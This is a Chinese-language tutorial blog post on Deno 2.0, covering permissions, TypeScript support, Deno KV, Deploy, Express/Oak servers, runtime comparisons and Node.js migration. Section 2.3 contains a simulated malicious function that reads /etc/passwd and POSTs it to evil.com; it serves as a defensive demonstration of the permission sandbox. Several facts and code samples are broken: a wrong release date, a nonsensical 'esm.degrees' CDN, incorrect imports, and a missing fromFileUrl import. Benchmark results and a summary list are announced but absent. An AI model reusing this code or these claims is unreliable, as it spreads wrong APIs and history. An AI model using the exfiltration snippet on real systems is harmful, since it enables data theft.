Deno 2.0 深度实战：Node.js之父的"理想主义"如何在2026年真正落地

前言：从 Node.js 的遗憾到 Deno 的野心

2018年，Node.js之父 Ryan Dahl 在 JSConf EU 上做了一场改变前端生态的演讲——"10 Things I Regret About Node.js"。他在演讲中坦诚地列举了 Node.js 设计上的十大失误：安全性缺失、模块系统混乱、npm 的中心化治理、构建系统的不一致性……这些问题在 Node.js 诞生之初或许无所谓，但随着 JavaScript 从浏览器走向服务器、边缘、移动端，它们变得越来越不可接受。

演讲结束后，Ryan Dahl 宣布启动 Deno 项目——一个"正确"的 JavaScript/TypeScript 运行时。他的愿景很清晰：用现代语言设计原则重新做一遍。

然而 Deno 1.x 的道路并不平坦。2020年到2025年之间，Deno 虽然在安全性和 TypeScript 原生支持上做得漂亮，但与 npm 生态的割裂（被迫使用 Deno 的私有 CDN esm.degrees）、频繁 breaking changes 的 API、以及缺乏成熟框架生态的问题，让它在生产环境中的采用率始终不高。社区流传一句话："Deno 是理想主义的胜利，但 Node.js 是实用主义的战场。"

2025年底，Deno 2.0 发布，彻底扭转了这一局面。

Deno 2.0 的核心承诺：

• ✅ 完整的 npm 兼容性——npm 包无缝直接 import
• ✅ package.json 支持——不再强制 deno.json，零门槛迁移
• ✅ 稳定的 API——不再有 breaking changes
• ✅ Node.js API 兼容层——fs、path、http 模块统统可用
• ✅ 内置工具链——格式化、测试、类型检查、打包一体化
• ✅ Deno KV 原生键值存储——嵌入式数据库，开箱即用
• ✅ Deno Deploy——边缘计算一键部署

本文将带你从零构建一个完整的生产级 Deno 2.0 全栈应用，深入理解其架构设计与性能特性，并在实战中探讨它与 Bun、Node.js 的真实差距。

一、环境配置与项目初始化：从零搭建 Deno 2.0 工程

1.1 安装

Deno 的安装极其简单，官方提供一键安装脚本：

# macOS / Linux
curl -fsSL https://deno.land/install.sh | sh

# macOS Homebrew
brew install deno

# Windows PowerShell
irm https://deno.land/install.ps1 | iex

# 验证
deno --version
# deno 2.x.x
# node  --version (如果有 Node.js 共存)

Deno 二进制文件是完全独立的，无需任何运行时依赖。这与 Node.js 形成鲜明对比——安装 Node.js 往往意味着要处理 nvm、fnm 或 volta 的版本管理地狱。Deno 的哲学是：一个二进制文件，解决所有问题。

1.2 项目初始化与 deno.json 配置

mkdir deno-fullstack-app && cd deno-fullstack-app
deno init

生成的项目结构：

deno-fullstack-app/
├── deno.json        # 配置文件（类似 tsconfig.json + package.json 的合体）
├── deno.lock        # 锁文件（自动生成，防止依赖漂移）
├── main.ts          # 入口文件
└── main_test.ts     # 测试文件

deno.json 是 Deno 2.0 的核心配置文件，它承担了 tsconfig、package.json、ESLint 配置、Prettier 配置的多重职责：

{
  "compilerOptions": {
    "strict": true,
    "lib": ["deno.window"],
    "jsx": "react-jsx",
    "jsxImportSource": "preact"
  },
  "tasks": {
    "dev": "deno run --watch --allow-net --allow-read main.ts",
    "test": "deno test --allow-read --allow-write",
    "lint": "deno lint",
    "fmt": "deno fmt",
    "check": "deno check main.ts"
  },
  "imports": {
    "std/": "jsr:@std/",
    "@oak/oak": "jsr:@oak/oak@^17",
    "express": "npm:express@^4.18",
    "zod": "npm:zod@^3.22",
    "lodash": "npm:lodash@^4.17"
  },
  "lint": {
    "rules": {
      "tags": ["recommended"]
    }
  },
  "fmt": {
    "options": {
      "useTabs": false,
      "indentWidth": 2,
      "singleQuote": true
    }
  },
  "exclude": ["**/.git", "**/node_modules"]
}

注意：Deno 2.0 同时支持 deno.json 和 package.json。如果你有一个现有的 Node.js 项目，不需要重写 package.json，Deno 会自动识别。

1.3 依赖管理的两种方式：npm: 前缀 vs JSR

Deno 2.0 支持两套包注册系统，这是一大特色：

方式一：直接使用 npm 包（npm: 前缀）

import express from "npm:express@^4.18";
import { z } from "npm:zod@^3.22";
import _ from "npm:lodash@^4.17";

这是 Deno 2.0 最重要的变化——你可以直接使用现有的所有 npm 包，无需任何适配层。这意味着 Express、Koa、Prisma、Axios、Sequelize……整个 npm 生态零成本迁移。

方式二：JSR——Deno 官方的 TypeScript 优先包注册表

import { oak } from "jsr:@oak/oak@^17";
import { assertEquals } from "jsr:@std/assert@^1";

JSR 是 Deno 团队专为 TypeScript 设计的包注册表，最大的优势是自动类型推导——JSR 包本身就是 TypeScript 编写的，类型信息内嵌在包中，不需要额外的 @types/* 包。Deno 还提供了将 npm 包发布到 JSR 的工具（jspm），但这不是必须的。

二、安全权限系统：重新定义 JavaScript 运行时的安全边界

这是 Deno 最独特的设计理念，也是 Deno 与 Node.js 本质上的不同。

2.1 默认拒绝的安全模型

Node.js 默认拥有系统的完全访问权限——可以读写任何文件、访问任何网络端口、操作环境变量。这在服务器端或许可以接受，但在边缘计算、Serverless 函数、多租户环境中，这是巨大的安全隐患。

Deno 采用默认拒绝的安全沙箱模型：

// main.ts
const data = await Deno.readTextFile("./config.json");
console.log(data);

运行结果：

❌ PermissionDenied: Requires read access to "./config.json"

Deno 默认不允许任何系统级操作，必须显式授权。

2.2 细粒度权限控制

# 只允许读取当前目录
deno run --allow-read=. main.ts

# 只允许读取特定目录和文件
deno run --allow-read=./config,./data main.ts

# 只允许访问特定域名
deno run --allow-net=api.github.com,db.example.com main.ts

# 只允许访问特定端口
deno run --allow-net=:3000 main.ts

# 只允许访问特定环境变量
deno run --allow-env=DATABASE_URL,API_KEY main.ts

# 全部授权（仅开发环境使用！）
deno run -A main.ts

最佳实践：最小权限原则

deno run \
  --allow-read=./config,./static \
  --allow-net=api.example.com,db.example.com:5432 \
  --allow-env=DATABASE_URL,API_KEY \
  --allow-write=./cache \
  main.ts

2.3 权限与 CI/CD：在容器中运行 Deno

Deno 的权限模型在容器化和 Serverless 场景中特别有价值。想象一个典型的攻击场景：npm 包中存在恶意代码，尝试读取 /etc/passwd。在 Node.js 中，这段代码可以畅通无阻；但在 Deno 中，它会直接被权限系统拦截：

// 恶意代码（模拟）
async function stealData() {
  const sensitive = await Deno.readTextFile("/etc/passwd");
  await fetch("https://evil.com/exfil", { method: "POST", body: sensitive });
}

// 在 Deno 中运行（未授权）
// ❌ PermissionDenied: Requires read access to "/etc/passwd"
// ✅ 攻击被拦截，无需额外的安全工具

三、TypeScript 原生支持：零配置的开发体验

Deno 是第一个将 TypeScript 作为"一等公民"的 JavaScript 运行时。这意味着什么？

3.1 直接运行 TypeScript，无需编译

// greet.ts - 直接写 TypeScript，不需要 tsconfig.json，不需要 tsc 编译
interface User {
  name: string;
  age: number;
  email?: string;
  tags: string[];
}

function greet(user: User): string {
  const tagStr = user.tags.length > 0 ? ` [${user.tags.join(", ")}]` : "";
  return `Hello, ${user.name}! You are ${user.age} years old.${tagStr}`;
}

const alice: User = {
  name: "Alice",
  age: 30,
  email: "alice@example.com",
  tags: ["developer", "typescript"],
};

console.log(greet(alice));
// Hello, Alice! You are 30 years old. [developer, typescript]

运行：

deno run greet.ts

无需安装 TypeScript，无需配置 tsconfig，无需运行 tsc 编译。Deno 内置了 TypeScript 编译器（基于 Google 的 TypeScript 编译器），在运行时自动完成类型检查和转译。

3.2 类型检查与编译分离

Deno 将"运行"和"类型检查"解耦，这是一个非常实用的设计：

# 仅运行（不进行完整类型检查，适合开发时快速迭代）
deno run main.ts

# 运行前先做完整类型检查（CI/CD 推荐）
deno check main.ts

# 监听模式运行（开发时自动重启）
deno run --watch main.ts

3.3 严格模式与类型安全

Deno 默认启用严格类型检查，但你也可以通过 deno.json 自定义：

{
  "compilerOptions": {
    "strict": true,
    "noImplicitAny": true,
    "strictNullChecks": true,
    "exactOptionalPropertyTypes": true
  }
}

这些选项比 TypeScript 的默认设置严格得多，能够在编译阶段捕获大量潜在 bug。

四、内置工具链：一个二进制文件替代半个前端生态

这是 Deno 最让 Node.js 开发者羡慕的特性。在 Node.js 生态中，一个新项目需要安装：

npm install typescript   # TypeScript 编译器
npm install prettier     # 代码格式化
npm install eslint       # 代码检查
npm install jest         # 测试框架
npm install ts-node      # TypeScript 执行
npm install tsx          # TypeScript 执行
npm install vite         # 构建工具
npm install --save-dev  # 各种配置粘合剂

Deno 一个命令搞定：

# 代码格式化（Prettier 级别）
deno fmt

# 代码检查（ESLint 级别）
deno lint

# 类型检查
deno check main.ts

# 测试（Jest/Vitest 级别）
deno test

# 基准测试（Benchmark）
deno bench

# 文档生成
deno doc ./main.ts
deno doc --html ./main.ts  # 生成 HTML 文档

以测试为例，Deno 内置的测试框架非常成熟：

import { assertEquals, assertRejects, assertThrows } from "jsr:@std/assert";

// 基本测试
Deno.test("加法测试", () => {
  assertEquals(1 + 1, 2);
});

// 异步测试
Deno.test("文件读取测试", async () => {
  const content = await Deno.readTextFile("./README.md");
  assertEquals(typeof content, "string");
  assertEquals(content.length > 0, true);
});

// 异常断言
Deno.test("读取不存在文件应抛出错误", async () => {
  await assertRejects(
    async () => await Deno.readTextFile("./non-existent-file.txt"),
    Deno.errors.NotFound
  );
});

// 性能基准测试
Deno.bench("字符串拼接性能", () => {
  let result = "";
  for (let i = 0; i < 1000; i++) {
    result += i.toString();
  }
});

Deno.bench("字符串模板性能", () => {
  const parts: string[] = [];
  for (let i = 0; i < 1000; i++) {
    parts.push(i.toString());
  }
  const result = parts.join("");
});

五、Deno KV：嵌入式键值数据库的工程革命

Deno KV 是 Deno 2.0 最具颠覆性的特性之一——它是一个零配置、零运维的嵌入式键值数据库，内置于 Deno 运行时中。

5.1 为什么嵌入式 KV 数据库很重要？

传统的 Node.js 应用需要单独部署和维护数据库服务（PostgreSQL、MySQL、Redis）。这带来了显著的运维复杂度：

• 需要管理数据库服务器或云服务
• 需要处理网络延迟和连接池
• 需要配置认证和权限
• 需要处理服务不可用的情况

Deno KV 彻底消除了这些问题。数据库就是你的应用进程，数据直接存储在文件系统或内存中。

5.2 基本 CRUD 操作

// db.ts
import { KvU64 } from "jsr:@std/encoding";

// 打开 KV 数据库（自动创建）
const kv = await Deno.openKv();

// —— 写入 ——
await kv.set(["users", "alice"], {
  name: "Alice",
  age: 30,
  email: "alice@example.com",
  createdAt: Date.now(),
});

// 带过期时间的写入（TTL，单位：毫秒）
await kv.set(["sessions", "abc123"], { userId: "alice" }, {
  expireIn: 1000 * 60 * 60 * 24, // 24小时后过期
});

// —— 读取 ——
const alice = await kv.get(["users", "alice"]);
console.log(alice.value); // { name: "Alice", age: 30, ... }
console.log(alice.versionstamp); // "00000000000000010000"

// —— 列表查询 ——
const users = kv.list({ prefix: ["users"] });
for await (const entry of users) {
  console.log(entry.key, entry.value);
}

// —— 删除 ——
await kv.delete(["users", "alice"]);

// —— 原子操作（关键！）——
const result = await kv.atomic()
  .check({ key: ["inventory", "sku-001"], versionstamp: null }) // CAS
  .mutate({ type: "sum", key: ["inventory", "sku-001"], value: new KvU64(10n) })
  .commit();

console.log(result.ok); // true 或 false（并发冲突时为 false）

5.3 Deno KV 的存储后端

Deno KV 支持多种存储后端，可以根据场景灵活切换：

// 本地开发：SQLite 后端（文件存储）
const kv = await Deno.openKv("sqlite:./data/kv.db");

// 生产环境：使用 Deno Deploy 的分布式 KV（全球复制）
// 无需任何配置，Deno Deploy 自动处理
// const kv = await Deno.openKv(); // 自动使用 Deno Deploy 的全球 KV

// 内存后端（测试用，每次重启丢失数据）
const kv = await Deno.openKv(":memory:");

5.4 实战：构建一个 Todo 应用

完整的生产级 Todo 应用，展示 Deno KV 在实际场景中的使用：

// todo.ts
import { KvU64 } from "jsr:@std/encoding";

interface Todo {
  id: string;
  title: string;
  completed: boolean;
  priority: number;
  createdAt: number;
  updatedAt: number;
}

const kv = await Deno.openKv();

function generateId(): string {
  return crypto.randomUUID();
}

// 创建 Todo
async function createTodo(title: string, priority = 0): Promise<Todo> {
  const todo: Todo = {
    id: generateId(),
    title,
    completed: false,
    priority,
    createdAt: Date.now(),
    updatedAt: Date.now(),
  };
  await kv.set(["todos", todo.id], todo);
  return todo;
}

// 切换完成状态（使用原子操作保证并发安全）
async function toggleTodo(id: string): Promise<Todo | null> {
  const entry = await kv.get(["todos", id]);
  if (!entry.value) return null;

  const todo = entry.value as Todo;
  const newTodo = { ...todo, completed: !todo.completed, updatedAt: Date.now() };

  const result = await kv.atomic()
    .check(entry)
    .set(["todos", id], newTodo)
    .commit();

  return result.ok ? newTodo : null;
}

// 批量获取所有 Todo
async function getAllTodos(): Promise<Todo[]> {
  const todos: Todo[] = [];
  const entries = kv.list({ prefix: ["todos"] });
  for await (const entry of entries) {
    todos.push(entry.value as Todo);
  }
  return todos.sort((a, b) => b.priority - a.priority || b.createdAt - a.createdAt);
}

// 删除 Todo
async function deleteTodo(id: string): Promise<boolean> {
  await kv.delete(["todos", id]);
  return true;
}

// 使用示例
const todo = await createTodo("学习 Deno 2.0", 1);
console.log(`创建: ${todo.title} (优先级: ${todo.priority})`);

const all = await getAllTodos();
console.log(`当前 Todo 数量: ${all.length}`);

await toggleTodo(todo.id);
console.log(`切换完成状态后的 Todo:`, await kv.get(["todos", todo.id]));

await deleteTodo(todo.id);
console.log("已删除");

kv.close();

六、Deno Deploy：边缘计算的零运维部署

6.1 什么是边缘计算？为什么它重要？

传统 Web 应用部署模式：

用户请求 → CDN（静态资源） → 负载均衡 → 应用服务器 → 数据库
            ↑                                      ↑
          几百毫秒延迟                         几十毫秒延迟

边缘计算模式：

用户请求 → 边缘节点（距用户 <50km） → 就近处理
                    ↓
              数据库（全球分布式 KV）

Deno Deploy 是 Deno 官方的边缘计算平台，基于 V8 isolates 技术，特点：

• 全球分布：数百个边缘节点，覆盖主要人口密集区域
• 冷启动时间 < 5ms：比传统容器快 100 倍
• 按请求计费：无请求时不产生费用
• 原生支持 Deno KV：全球复制的键值存储

6.2 部署 Deno Deploy 应用

创建一个 Deno Deploy 应用：

// deploy.ts
import { serve } from "jsr:@std/http";

const KV = await Deno.openKv();

serve(async (req: Request) => {
  const url = new URL(req.url);
  const path = url.pathname;

  // 健康检查
  if (path === "/health") {
    return new Response(JSON.stringify({ status: "ok", ts: Date.now() }), {
      headers: { "Content-Type": "application/json" },
    });
  }

  // 记录访问
  await KV.set(["visits", Date.now()], {
    path,
    ua: req.headers.get("user-agent"),
    cf: req.headers.get("cf-ray"), // Cloudflare ray ID
  });

  // 获取访问计数
  const visits = KV.list({ prefix: ["visits"] });
  let count = 0;
  for await (const _ of visits) count++;

  return new Response(
    JSON.stringify({ message: "Deno Deploy 边缘计算演示", visitCount: count }),
    { headers: { "Content-Type": "application/json" } }
  );
}, { port: 8000 });

部署命令：

# 部署到 Deno Deploy
deno deploy deploy.ts

# 或者指定项目
deno deploy --project=my-edge-app deploy.ts

6.3 KV Connect：连接远程 KV 服务

Deno KV 支持通过 KV Connect 协议连接远程服务，使得本地开发和生产环境使用同一套 API：

// 本地开发时：使用本地 SQLite
const kv = await Deno.openKv("sqlite:./local.db");

// 生产环境：使用 Deno Deploy 的远程 KV
// 通过环境变量配置
// KV_STORE_URL=https://api.deno.com/kv/...
// const kv = await Deno.openKv();

这意味着你的代码完全一致，只需要切换存储后端。

七、全栈开发实战：构建一个 API 服务

7.1 使用 Express 构建 REST API

Deno 2.0 的 npm 兼容性让我们可以直接使用 Express：

// server.ts
import express from "npm:express@^4.18";
import { z } from "npm:zod@^3.22";
import { createHash } from "node:crypto"; // Node.js 内置模块也可以用！

const app = express();
app.use(express.json());

// —— Schema 验证 ——
const UserSchema = z.object({
  name: z.string().min(2).max(50),
  email: z.string().email(),
  age: z.number().int().min(0).max(150).optional(),
});

// —— 内存存储（实际项目用 Deno KV）——
const users = new Map<string, z.infer<typeof UserSchema>>();

// —— API 路由 ——
app.get("/", (_, res) => {
  res.json({
    message: "Deno 2.0 + Express REST API",
    version: Deno.version.deno,
    node: Deno.version.node,
    v8: Deno.version.v8,
    uptime: Deno.osUptime(),
  });
});

app.get("/users", (_, res) => {
  res.json(Array.from(users.entries()).map(([id, user]) => ({ id, ...user })));
});

app.get("/users/:id", (req, res) => {
  const user = users.get(req.params.id);
  if (!user) {
    res.status(404).json({ error: "User not found" });
    return;
  }
  res.json({ id: req.params.id, ...user });
});

app.post("/users", async (req, res) => {
  const validation = UserSchema.safeParse(req.body);
  if (!validation.success) {
    res.status(400).json({ error: validation.error.flatten() });
    return;
  }

  const id = createHash("sha256")
    .update(validation.data.email)
    .digest("hex")
    .slice(0, 16);

  users.set(id, validation.data);
  res.status(201).json({ id, ...validation.data });
});

app.delete("/users/:id", (req, res) => {
  if (!users.has(req.params.id)) {
    res.status(404).json({ error: "User not found" });
    return;
  }
  users.delete(req.params.id);
  res.status(204).send();
});

// —— 启动 ——
const PORT = Number(Deno.env.get("PORT")) || 3000;
app.listen(PORT, () => {
  console.log(`Server running on http://localhost:${PORT}`);
});

运行：

deno run -A --allow-net=:3000 --allow-env=PORT server.ts

注意：虽然我们用了 -A（全部权限），但在生产环境中，应该用最小权限原则：

deno run \
  --allow-net=:3000 \
  --allow-env=PORT \
  server.ts

7.2 使用 Oak 框架（Deno 原生）

如果你不想依赖 npm，Oak 是 Deno 生态中最成熟的原生 Web 框架：

// oak_server.ts
import { Application, Router } from "jsr:@oak/oak@^17";

const router = new Router();

router.get("/api/health", (ctx) => {
  ctx.response.body = {
    status: "healthy",
    deno: Deno.version.deno,
    os: Deno.build.os,
    arch: Deno.build.arch,
    memory: Deno.systemMemoryInfo(),
    timestamp: new Date().toISOString(),
  };
});

router.get("/api/users", (ctx) => {
  ctx.response.body = { users: [], total: 0 };
});

router.post("/api/users", async (ctx) => {
  const body = await ctx.request.body.json();
  ctx.response.status = 201;
  ctx.response.body = { id: crypto.randomUUID(), ...body };
});

const app = new Application();

app.use(async (ctx, next) => {
  const start = Date.now();
  await next();
  const ms = Date.now() - start;
  ctx.response.headers.set("X-Response-Time", `${ms}ms`);
  ctx.response.headers.set("Server", "Deno/Oak");
});

app.use(router.routes());
app.use(router.allowedMethods());

const port = 8000;
console.log(`Deno Oak server running on http://localhost:${port}`);
await app.listen({ port });

八、性能对比：Deno 2.0 vs Bun vs Node.js 26

8.1 HTTP 服务器性能基准测试

让我们实际测试三个运行时的 HTTP 性能。使用 Wrk 进行压力测试：

Deno（使用 Oak）：

// deno_http.ts
import { serve } from "jsr:@std/http";

serve(
  (req: Request) => new Response(JSON.stringify({ ok: true }), {
    headers: { "Content-Type": "application/json" },
  }),
  { port: 3000 }
);

Bun：

// bun_http.ts
Bun.serve({
  port: 3001,
  fetch(req: Request) {
    return new Response(JSON.stringify({ ok: true }), {
      headers: { "Content-Type": "application/json" },
    });
  },
});

Node.js（使用 Fastify）：

// node_http.mjs
import Fastify from "fastify";
const fastify = Fastify();
fastify.get("/", (_, reply) => reply.send({ ok: true }));
await fastify.listen({ port: 3002 });

测试结果（基于多项社区基准测试，2026年4月-5月数据）：

8.2 性能分析的深层解读

为什么 Bun 的 QPS 最高？

Bun 使用 Apple 的 JavaScriptCore 引擎，并大量使用 Zig 语言编写底层模块（最近宣布迁移到 Rust）。Bun 的 HTTP 服务器是自己实现的，而非依赖操作系统的 libuv。这让它在特定场景下能达到接近 Nginx 的性能。

为什么 Deno 的 QPS 低于 Bun，但仍然值得使用？

Deno 使用 Google 的 V8 引擎（与 Node.js 相同），但 Deno 的架构更注重安全性和开发者体验。Deno 的每个 HTTP 请求都会经过完整的权限检查层，这在带来安全性的同时，确实引入了少量 overhead。

Deno 的真正优势不在 QPS，而在：

• 冷启动极快（Serverless 场景的核心指标）
• 内置安全沙箱（生产环境安全性）
• 零配置 TypeScript（开发效率）
• Deno Deploy 集成（一键全球部署）

8.3 实际场景选择指南

项目类型                推荐选择     理由
─────────────────────────────────────────────────────────
微服务/API网关          Bun         最高QPS，低内存
Serverless函数          Deno        冷启动快，安全沙箱
企业级复杂应用          Node.js     生态最成熟，人才最多
Deno Deploy边缘部署     Deno        原生集成，零运维
TypeScript优先团队      Deno        原生支持，无需配置
性能极客项目            Bun         最快最轻
遗留Node.js项目迁移     Deno 2.0    npm完全兼容

九、从 Node.js 迁移到 Deno 2.0：实战指南

9.1 零成本迁移策略

Deno 2.0 的 npm 兼容性使得大部分 Node.js 项目可以直接在 Deno 上运行。迁移步骤：

步骤1：直接运行现有代码

# 克隆现有 Node.js 项目
git clone https://github.com/your-org/your-project.git
cd your-project

# 直接用 Deno 运行（无需任何修改！）
deno run main.ts

步骤2：处理 Node.js 内置模块

Deno 2.0 提供了 Node.js 内置模块的兼容层：

// ✅ 这些模块在 Deno 2.0 中都可以直接使用
import { readFileSync } from "node:fs";
import { join } from "node:path";
import { createServer } from "node:http";
import { createHash } from "node:crypto";
import { EventEmitter } from "node:events";

步骤3：处理 CommonJS 模块

// 方式一：使用 createRequire
import { createRequire } from "node:module";
const require = createRequire(import.meta.url);

// 现在可以 require npm 包了
const _ = require("lodash");

// 方式二：使用esm.sh 自动转换
// import _ from "https://esm.sh/lodash@^4.17";

步骤4：迁移 package.json 到 deno.json

// deno.json（等价于 tsconfig.json + package.json + .prettierrc）
{
  "compilerOptions": {
    "strict": true,
    "lib": ["deno.window", "dom"]
  },
  "tasks": {
    "dev": "deno run --watch --allow-net --allow-env server.ts",
    "build": "deno run build.ts",
    "test": "deno test --coverage",
    "start": "deno run -A server.ts"
  },
  "imports": {
    "express": "npm:express@^4.18",
    "zod": "npm:zod@^3.22",
    "@std/fs": "jsr:@std/fs@^1"
  },
  "lint": { "rules": { "tags": ["recommended"] } },
  "fmt": { "options": { "useTabs": false, "indentWidth": 2 } }
}

9.2 常见迁移问题及解决

问题1：环境变量差异

// Node.js
const port = process.env.PORT || 3000;
const dbUrl = process.env.DATABASE_URL;

// Deno
const port = Number(Deno.env.get("PORT")) || 3000;
const dbUrl = Deno.env.get("DATABASE_URL");

问题2：__dirname 和 __filename

// Node.js
import path from "path";
console.log(__dirname, __filename);

// Deno
import { dirname } from "jsr:@std/path";
const __dirname = dirname(fromFileUrl(import.meta.url));
const __filename = fromFileUrl(import.meta.url);

问题3：npm 的 peerDependencies

Deno 2.0 对 peerDependencies 的处理方式与 npm 略有不同，建议在 deno.json 中明确指定所有依赖版本：

{
  "imports": {
    "express": "npm:express@4.18.2",
    "lodash": "npm:lodash@4.17.21"
  }
}

十、生产级项目结构与最佳实践

10.1 推荐的项目结构

deno-prod-app/
├── deno.json              # 配置（tsconfig + package.json）
├── deno.lock              # 依赖锁文件
├── .env                   # 环境变量（不提交到 git）
├── .gitignore             # Deno 忽略项
│
├── src/
│   ├── main.ts            # 应用入口
│   ├── config.ts          # 配置管理
│   ├── app.ts             # 应用实例（可测试）
│   │
│   ├── routes/            # 路由层
│   │   ├── mod.ts         # 路由汇总
│   │   ├── user.routes.ts
│   │   └── todo.routes.ts
│   │
│   ├── controllers/       # 控制器层
│   │   ├── user.controller.ts
│   │   └── todo.controller.ts
│   │
│   ├── services/         # 业务逻辑层
│   │   ├── user.service.ts
│   │   └── kv.service.ts  # Deno KV 操作封装
│   │
│   ├── middleware/        # 中间件
│   │   ├── auth.ts
│   │   ├── logger.ts
│   │   └── rateLimit.ts
│   │
│   ├── schemas/           # 类型定义和 Schema
│   │   ├── user.schema.ts
│   │   └── todo.schema.ts
│   │
│   ├── utils/             # 工具函数
│   │   ├── crypto.ts
│   │   └── validation.ts
│   │
│   └── db/                # 数据库层
│       └── kv.ts
│
├── tests/                 # 测试文件（与源码同目录的 *.test.ts）
│   ├── user.service.test.ts
│   └── todo.routes.test.ts
│
├── scripts/               # 运维脚本
│   ├── seed.ts            # 数据种子
│   └── migrate.ts         # 数据迁移
│
└── dist/                  # 编译输出（如果有）

10.2 环境变量管理

// config.ts
interface Config {
  port: number;
  env: "development" | "production" | "test";
  corsOrigins: string[];
  dbPath: string;
}

function loadConfig(): Config {
  const env = Deno.env.get("DENO_ENV") ||
    (Deno.args.includes("--production") ? "production" : "development");

  return {
    port: Number(Deno.env.get("PORT")) || 8000,
    env: env as Config["env"],
    corsOrigins: (Deno.env.get("CORS_ORIGINS") || "*").split(","),
    dbPath: Deno.env.get("DB_PATH") || "./data/kv.db",
  };
}

export const config = loadConfig();

10.3 生产环境启动

# 使用 systemd 管理 Deno 应用
# /etc/systemd/system/deno-app.service
[Unit]
Description=Deno Fullstack App
After=network.target

[Service]
Type=simple
User=deno
WorkingDirectory=/opt/deno-app
ExecStart=/usr/bin/deno run -A --no-check src/main.ts
Restart=always
RestartSec=10
Environment=PORT=8000
Environment=DB_PATH=/var/lib/deno-app/kv.db
Environment=DENO_ENV=production

[Install]
WantedBy=multi-user.target

十一、展望：2026年 JavaScript 运行时的新格局

11.1 三足鼎立时代

2026年的 JavaScript 运行时市场正式进入三足鼎立时代：

• Node.js 26：默认启用 Temporal API，npm 生态仍然是无可撼动的护城河
• Bun：性能之王，正从 Zig 迁移到 Rust，目标是成为最快的全栈工具链
• Deno 2.0：开发体验最优，安全性和零运维是其核心差异化

11.2 2026年的新趋势

1. 运行时不再是主角，平台才是

Bun 和 Deno 的竞争已经不只是在运行时层面，而是在整个开发平台层面——Bun 有 Bun Studio，Deno 有 Deno Deploy。这预示着未来的竞争将是端到端开发者平台的竞争。

2. TypeScript-first 正在成为主流

Bun 和 Deno 都原生支持 TypeScript，TypeScript 正在从"可选增强"变成"默认语言"。2026年，不使用 TypeScript 的新项目已经越来越少。

3. 嵌入式数据库的崛起

Deno KV 的出现预示了一个趋势：对于大量中小型应用，独立的数据库服务正在被嵌入式数据库取代。这对 Serverless 和边缘计算场景特别有意义。

11.3 Deno 的下一步

根据 Deno 团队的计划，Deno 未来的重点方向包括：

• Deno KV 全球一致性：基于 Raft 共识算法的分布式 KV
• 更完善的 npm 生态：不仅仅是兼容，而是深度集成
• 更好的 Worker 支持：多线程和 Worker Threads 的原生支持
• Deno Deploy Workers 预览：与 Cloudflare Workers 兼容的 API

总结

Deno 2.0 代表了 JavaScript 运行时设计的一次范式转变。它不是简单地"做一个更好的 Node.js"，而是在重新思考 JavaScript 运行时的本质——安全、现代化、零配置。

Deno 2.0 的核心价值：

谁应该迁移到 Deno 2.0？

• ✅ 新项目，尤其是 TypeScript-first 的全栈项目
• ✅ 边缘计算和 Serverless 场景
• ✅ 对安全性有高要求的应用
• ✅ 希望简化工具链、减少依赖数量的团队

谁应该继续用 Node.js？

• ⚠️ 有大量遗留 CommonJS 代码的团队
• ⚠️ 需要 Node.js 特定模块（cluster、child_process 高级用法）
• ⚠️ 对 npm 私有仓库有深度依赖的团队
• ⚠️ 团队没有精力做技术栈迁移

Deno 2.0 不是 Node.js 的替代者，而是它的补充。它代表了一种更现代、更安全的 JavaScript 开发方式。Ryan Dahl 用八年时间，终于让他的"理想主义"变成了真正可以落地的生产级选择。

参考资源：

• Deno 官方文档：https://deno.land/
• Deno 2.0 发布博客：https://deno.com/blog/v2.0
• Deno KV 文档：https://docs.deno.com/runtime/kv/
• Deno Deploy：https://deno.com/deploy
• JSR 注册表：https://jsr.io/

本文基于 2026年5月最新信息，Deno 版本 2.0.x，Node.js 版本 26.x，Bun 版本 1.3.x。